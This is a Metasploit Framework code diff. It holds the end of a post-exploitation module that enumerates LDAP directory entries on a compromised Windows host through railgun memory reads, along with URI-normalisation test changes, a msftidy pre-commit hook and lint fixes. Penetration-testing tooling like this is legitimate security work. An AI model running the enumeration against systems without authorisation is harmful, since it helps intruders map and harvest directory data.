+ vprint_status("search: #{search}")
+
+ if search['return'] != 0
+ print_error("No results")
+ wldap32.ldap_msgfree(search['res'])
+ return
+ end
+
+ search_count = wldap32.ldap_count_entries(session_handle, search['res'])['return']
+
+ if(search_count == 0)
+ print_error("No entries retrieved")
+ wldap32.ldap_msgfree(search['res'])
+ return
+ end
+
+ print_status("Entries retrieved: #{search_count}")
+
+ vprint_status("Retrieving results...")
+
+ entries = {}
+ entry_results = []
+
+ if datastore['MAX_SEARCH'] == 0
+ max_search = search_count
+ else
+ max_search = [datastore['MAX_SEARCH'], search_count].min
+ end
+
+ 0.upto(max_search - 1) do |i|
+ print '.'
+
+ if(i==0)
+ entries[0] = wldap32.ldap_first_entry(session_handle, search['res'])['return']
+ else
+ entries[i] = wldap32.ldap_next_entry(session_handle, entries[i-1])['return']
+ end
+
+ if(entries[i] == 0)
+ print_error("Failed to get entry.")
+ wldap32.ldap_unbind(session_handle)
+ wldap32.ldap_msgfree(search['res'])
+ return
+ end
+
+ vprint_status("Entry #{i}: #{entries[i]}")
+
+ attribute_results = []
+ attributes.each do |attr|
+ vprint_status("Attr: #{attr}")
+
+ pp_value = wldap32.ldap_get_values(session_handle, entries[i], attr)['return']
+ vprint_status("ppValue: 0x#{pp_value.to_s(16)}")
+
+ if pp_value == 0
+ vprint_error("No attribute value returned.")
+ else
+ count = wldap32.ldap_count_values(pp_value)['return']
+ vprint_status "Value count: #{count}"
+
+ value_results = []
+ if count < 1
+ vprint_error("Bad Value List")
+ else
+ 0.upto(count - 1) do |j|
+ p_value = client.railgun.memread(pp_value+(j*4), 4).unpack('V*')[0]
+ vprint_status "p_value: 0x#{p_value.to_s(16)}"
+ value = read_value(p_value)
+ vprint_status "Value: #{value}"
+ if value.nil?
+ value_results << ""
+ else
+ value_results << value
+ end
+ end
+ value_results = value_results.join('|')
+ end
+ end
+
+ if pp_value != 0
+ vprint_status("Free value memory.")
+ wldap32.ldap_value_free(pp_value)
+ # wldap32.ldap_memfree(attr) No need to free attributes as these are hardcoded
+ end
+
+ attribute_results << {"name" => attr, "values" => value_results}
+ end
+
+ entry_results << {"id" => i, "attributes" => attribute_results}
+ end
+
+ print_line
+ return entry_results
+ end
+end
diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb
index 73298366d4..93180d3a5a 100644
--- a/spec/lib/msf/core/exploit/http/client_spec.rb
+++ b/spec/lib/msf/core/exploit/http/client_spec.rb
@@ -11,7 +11,7 @@ describe Msf::Exploit::Remote::HttpClient do
mod
end
- context 'normalize_uri' do
+ describe '#normalize_uri' do
let(:expected_normalized_uri) do
'/a/b/c'
end
@@ -20,6 +20,20 @@ describe Msf::Exploit::Remote::HttpClient do
subject.normalize_uri(unnormalized_uri)
end
+ context "with just '/'" do
+ let(:unnormalized_uri) do
+ '/'
+ end
+
+ it "should be '/'" do
+ unnormalized_uri.should == '/'
+ end
+
+ it "should return '/'" do
+ normalized_uri.should == '/'
+ end
+ end
+
context "with starting '/'" do
let(:unnormalized_uri) do
expected_normalized_uri
@@ -30,7 +44,17 @@ describe Msf::Exploit::Remote::HttpClient do
end
it "should not add another starting '/'" do
- normalized_uri.should == expected_normalized_uri
+ normalized_uri.should == expected_normalized_uri
+ end
+
+ context "with multiple internal '/'" do
+ let(:unnormalized_uri) do
+ "/#{expected_normalized_uri.gsub("/", "////")}"
+ end
+
+ it "should remove doubled internal '/'" do
+ normalized_uri.should == expected_normalized_uri
+ end
end
context "with multiple starting '/'" do
@@ -48,39 +72,25 @@ describe Msf::Exploit::Remote::HttpClient do
end
context "with trailing '/'" do
+ let(:expected_normalized_uri) do
+ '/a/b/c/'
+ end
+
let(:unnormalized_uri) do
"#{expected_normalized_uri}/"
end
it "should end with '/'" do
- unnormalized_uri[-1, 1].should == '/'
+ normalized_uri[-1, 1].should == '/'
end
- it "should remove the trailing '/'" do
- normalized_uri.should == expected_normalized_uri
- end
-
- context "with just '/'" do
+ context "with multiple trailing '/'" do
let(:unnormalized_uri) do
- '/'
- end
-
- it "should be '/'" do
- unnormalized_uri.should == '/'
- end
-
- it "should return '/'" do
- normalized_uri.should == '/'
- end
- end
-
- context "with multiple multiple trailing '/'" do
- let(:unnormalized_uri) do
- "#{expected_normalized_uri}//"
+ "#{expected_normalized_uri}/"
end
it "should have multiple trailing '/'" do
- unnormalized_uri[-2 .. -1].should == '//'
+ unnormalized_uri[-2,2].should == '//'
end
it "should return only one trailing '/'" do
@@ -105,16 +115,15 @@ describe Msf::Exploit::Remote::HttpClient do
end
context "without starting '/'" do
- let(:unnormalized_uri) do
- 'a/b/c'
- end
-
context "with trailing '/'" do
let(:unnormalized_uri) do
'a/b/c/'
end
+ let(:expected_normalized_uri) do
+ '/a/b/c/'
+ end
- it "'should have trailing '/'" do
+ it "should have trailing '/'" do
unnormalized_uri[-1, 1].should == '/'
end
@@ -122,17 +131,31 @@ describe Msf::Exploit::Remote::HttpClient do
normalized_uri[0, 1].should == '/'
end
- it "'should remove trailing '/'" do
- normalized_uri[-1, 1].should_not == '/'
+ it "should not remove trailing '/'" do
+ normalized_uri[-1, 1].should == '/'
end
it 'should normalize the uri' do
- normalized_uri.should == expected_normalized_uri
+ normalized_uri.should == "#{expected_normalized_uri}"
+ end
+
+ context "with multiple internal '/'" do
+ let(:unnormalized_uri) do
+ "/#{expected_normalized_uri.gsub("/", "////")}"
+ end
+
+ it "should remove doubled internal '/'" do
+ normalized_uri.should == expected_normalized_uri
+ end
end
end
context "without trailing '/'" do
- it "'should not have trailing '/'" do
+ let(:unnormalized_uri) do
+ 'a/b/c'
+ end
+
+ it "should not have trailing '/'" do
unnormalized_uri[-1, 1].should_not == '/'
end
@@ -143,35 +166,35 @@ describe Msf::Exploit::Remote::HttpClient do
it "should add trailing '/'" do
normalized_uri[-1, 1].should_not == '/'
end
+ end
+ end
- context 'with empty string' do
- let(:unnormalized_uri) do
- ''
- end
+ context 'with empty string' do
+ let(:unnormalized_uri) do
+ ''
+ end
- it "should be empty" do
- unnormalized_uri.should be_empty
- end
+ it "should be empty" do
+ unnormalized_uri.should be_empty
+ end
- it "should return '/'" do
- normalized_uri.should == '/'
- end
- end
+ it "should return '/'" do
+ normalized_uri.should == '/'
+ end
+ end
- context 'with nil' do
- let(:unnormalized_uri) do
- nil
- end
+ context 'with nil' do
+ let(:unnormalized_uri) do
+ nil
+ end
- it 'should be nil' do
- unnormalized_uri.should be_nil
- end
+ it 'should be nil' do
+ unnormalized_uri.should be_nil
+ end
- it "should return '/" do
- normalized_uri.should == '/'
- end
- end
+ it "should return '/" do
+ normalized_uri.should == '/'
end
end
end
-end
\ No newline at end of file
+end
diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb
new file mode 100755
index 0000000000..2625d6d64a
--- /dev/null
+++ b/tools/dev/pre-commit-hook.rb
@@ -0,0 +1,54 @@
+#!/usr/bin/env ruby
+
+# Check that modules actually pass msftidy checks first.
+# To install this script, make this your pre-commit hook your local
+# metasploit-framework clone. For example, if you have checked out
+# the Metasploit Framework to:
+#
+# /home/mcfakepants/git/metasploit-framework
+#
+# then you will copy this script to:
+#
+# /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit
+#
+# You must mark it executable (chmod +x), and do not name it
+# pre-commit.rb (just pre-commit)
+#
+# If you want to keep up on changes with this hook, just:
+#
+# ln -sf
+
+valid = true # Presume validity
+files_to_check = []
+
+results = %x[git diff --cached --name-only]
+
+results.each_line do |fname|
+ fname.strip!
+ next unless File.exist?(fname) and File.file?(fname)
+ next unless fname =~ /modules.+\.rb/
+ files_to_check << fname
+end
+
+if files_to_check.empty?
+ puts "--- No Metasploit modules to check, committing. ---"
+else
+ puts "--- Checking module syntax with tools/msftidy.rb ---"
+ files_to_check.each do |fname|
+ cmd = "ruby ./tools/msftidy.rb #{fname}"
+ msftidy_output= %x[ #{cmd} ]
+ puts "#{fname} - msftidy check passed" if msftidy_output.empty?
+ msftidy_output.each_line do |line|
+ valid = false
+ puts line
+ end
+ end
+ puts "-" * 52
+end
+
+unless valid
+ puts "msftidy.rb objected, aborting commit"
+ puts "To bypass this check use: git commit --no-verify"
+ puts "-" * 52
+ exit(1)
+end
diff --git a/tools/msftidy.rb b/tools/msftidy.rb
index aa63bea6a4..8faa3b03d5 100755
--- a/tools/msftidy.rb
+++ b/tools/msftidy.rb
@@ -204,7 +204,7 @@ class Msftidy
end
if author_name =~ /^@.+$/
- error("No Twitter handle, please. Try leaving it in a comment instead.")
+ error("No Twitter handles, please. Try leaving it in a comment instead.")
end
if not author_name.ascii_only?
@@ -226,9 +226,7 @@ class Msftidy
puts "Checking syntax for #{f_rel}."
rubies ||= RVM.list_strings
res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/}
- rubies.size == res.size
-
- error("Fails alternate Ruby version check") if rubies.size
+ error("Fails alternate Ruby version check") if rubies.size != res.size
end
def check_ranking
@@ -281,6 +279,7 @@ class Msftidy
words.each do |word|
if %w{and or the for to in of as with a an on at}.include?(word)
next
+ elsif %w{pbot}.include?(word)
elsif word =~ /^[a-z]+$/
warn("Improper capitalization in module title: '#{word}'")
end